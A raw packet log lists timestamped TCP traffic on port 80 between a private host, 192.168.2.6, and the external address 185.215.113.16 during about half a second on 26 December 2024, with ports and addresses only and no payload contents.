Dec 26, 2024 12:52:18.305160046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.305212975 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.305886030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.306168079 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.306190968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.306802988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.306817055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.306909084 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.307552099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.307598114 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.307642937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.308727026 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.308743000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.308851004 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.309359074 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.309468985 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.309490919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.310163975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.310486078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.310554028 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.310961962 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.311044931 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.311135054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.311817884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.311862946 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.311875105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.312751055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.312875032 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.312978983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.313630104 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.313646078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.313749075 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.314416885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.314563990 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.314583063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.315222025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.315351963 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.315428019 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.316196918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.316428900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.316525936 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.317008018 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.317104101 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.317116976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.317819118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.317886114 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.317903996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.318667889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.318742037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.318855047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.319562912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.319711924 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.319746017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.320394039 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.320609093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.320631027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.321290970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.321304083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.321371078 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.322232008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.322247028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.322520018 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.322895050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.323376894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.323586941 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.324006081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.324054956 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.489681005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.489700079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.489784956 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.489893913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.490175009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.490581036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.490729094 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.490746975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.491060019 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.491437912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.491502047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.491828918 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.492335081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.492350101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.492403984 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.493175030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.493206978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.493793964 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.493921041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.494049072 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.494901896 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.494910002 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.494925022 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.495182991 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.495641947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.495795965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.496068001 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.496512890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.496598959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.496853113 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.497363091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.497498035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.497915983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.498265982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.498344898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.498435974 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.499059916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.499243021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.499330997 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.499962091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.499991894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.500346899 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.500843048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.500857115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.501099110 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.501676083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.501913071 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.501961946 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.502500057 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.502583027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.502912045 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.503350019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.503443003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.504112959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.504209995 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.504391909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.505079985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.505130053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.505171061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.505171061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.505928040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.505980015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.506053925 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.506828070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.506840944 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.507070065 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.507549047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.507659912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.507752895 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.508398056 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.508500099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.508546114 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.509242058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.509352922 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.509500027 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.510159969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.510193110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.510261059 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.510970116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.511122942 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.511529922 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.511845112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.511902094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.512012959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.512661934 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.512763023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.513521910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.513609886 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.514394999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.514476061 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.514523029 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.514523029 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.515227079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.515336990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.515897989 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.516069889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.516179085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.516730070 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.516980886 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.517138958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.517457008 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.517800093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.517921925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.518625021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.518676043 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.518734932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.518846035 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.519498110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.519598961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.519989014 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.520339966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.520544052 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.520971060 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.521226883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.521367073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.521456003 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.522056103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.522195101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.522273064 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.522943020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.523045063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.523264885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.523808002 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.523921967 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.523988962 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.524626017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.524707079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.524777889 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.525482893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.525624990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.526319981 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.526412964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.526595116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.526595116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.527185917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.527288914 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.527548075 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.528048992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.528280020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.528614998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.528889894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.528970003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.529320002 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.529752970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.529863119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.530211926 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.530586958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.530698061 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.530752897 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.531506062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.531629086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.532309055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.532418966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.533147097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.533335924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.533377886 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.533377886 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.533977985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.621644020 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.700393915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.700413942 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.700480938 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.700615883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.700687885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.700732946 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.701410055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.701730013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.701776981 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.701911926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.702581882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.702651978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.702702999 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.703605890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.703675985 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.703708887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.704251051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.704299927 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.704370975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.705168009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.705269098 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.705290079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.705980062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.706090927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.706166983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.706860065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.706955910 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.707021952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.707670927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.707755089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.707803965 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.708503962 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.708625078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.708677053 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.709506989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.709587097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.709676981 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.710216045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.710266113 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.710390091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.711133957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.711147070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.711281061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.711905003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.712052107 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.712114096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.712819099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.712873936 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.712898970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.713602066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.713762045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.713907957 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.714468002 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.714529991 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.714569092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.715334892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.715451002 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.715497017 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.716170073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.716213942 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.716363907 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.717075109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.717174053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.717243910 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.717881918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.718086004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.718147039 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.718734980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.718846083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.718861103 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.719556093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.719661951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.719680071 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.720412970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.720536947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.720614910 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.721345901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.721426010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.721472979 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.722152948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.722227097 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.722273111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.723035097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.723098040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.723155022 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.723850965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.723970890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.724101067 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.724719048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.724859953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.724945068 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.725622892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.725776911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.725960970 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.726414919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.726483107 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.726608992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.727263927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.727355003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.728126049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.728183031 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.728287935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.728981018 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.729089975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.729140997 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.729809999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.729918003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.730679989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.730798006 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.730811119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.731616020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.731631041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.731695890 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.732403994 CET	80	49842	185.215.113.16	192.168.2.6
